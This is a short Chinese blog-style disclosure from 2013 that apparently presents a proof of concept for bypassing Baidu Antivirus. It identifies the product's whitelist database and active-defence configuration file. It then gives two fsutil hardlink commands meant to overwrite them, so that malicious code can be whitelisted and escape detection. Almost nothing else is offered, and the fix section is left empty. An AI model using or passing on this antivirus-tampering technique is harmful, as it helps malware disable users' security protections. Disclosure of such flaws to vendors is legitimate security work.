再再再绕过百度杀毒任意执行代码(POC)

浏览： ℃

字体：大中小

发布时间：2013-12-09 23:23:50

来源：

有问题不怕，不补才操蛋，忽略我问题的厂商，要是回头偷偷把漏洞给补掉那就别整天装大爷了.提的bug都是你们该知道的，不该知道的也没什么大危害就几个人用而已.

这次我再接着搞这个2个文件.还是覆盖替换的套路.

//这个文件是杀毒白名单，免杀就往这加C:/Documents and Settings/All Users/Application Data/baidu/baidusd/white_list.db//这个是主动防御C:/Documents and Settings/All Users/Application Data/baidu/baidusd/Config/900.dat

简单得多了,直接上硬链接,下班了代码不写了直接命令行CMD吧

fsutil hardlink Create "C:/white_list" "C:/Documents and Settings/All Users/Application Data/baidu/baidusd"fsutil hardlink Create "C:/900.dat" "C:/Documents and Settings/All Users/Application Data/baidu/baidusd/Config/900.dat"

修复方案：

你们懂

>更多相关文章